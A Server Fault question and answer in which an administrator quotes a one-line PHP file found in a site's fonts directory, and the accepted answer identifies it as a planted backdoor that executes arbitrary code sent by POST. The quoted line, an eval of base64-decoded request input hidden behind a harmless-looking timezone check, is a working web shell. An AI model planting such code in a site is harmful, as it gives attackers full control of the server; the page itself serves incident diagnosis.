Server Fault is a question and answer site for system and network administrators. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

Possible Duplicate:
How do I deal with a compromised server?

Checking the lfd.log and noticed a block log for a script:

Jan 10 22:01:36 xxx lfd[871]: *User Processing* PID:27023 Kill:0 User:xxxx Time:610472 EXE:/usr/bin/php CMD:/usr/bin/php /home/xxxx/public_html/fonts/

It looks like the script is trying to execute /usr/bin/php but when I see the code, it is a simple one line file

function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));

Anyone has a similar experience and is there any way to see what is causing the /usr/bin/php invokation? The logs say that the script is being called via POST.

share|improve this question

marked as duplicate by Sven, Michael Hampton, mdpc, Khaled, kce Jan 11 '13 at 3:10

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

up vote 3 down vote accepted

Someone placed an attack script in this directory. If eval isn't deactivated in your PHP configuration, this will allow the attacker to execute arbitrary PHP code it sends together with the request.

The script is invoked via a simple HTTP POST request.

You should consider your system compromised and try to find out how the attacker managed to place this script.

share|improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.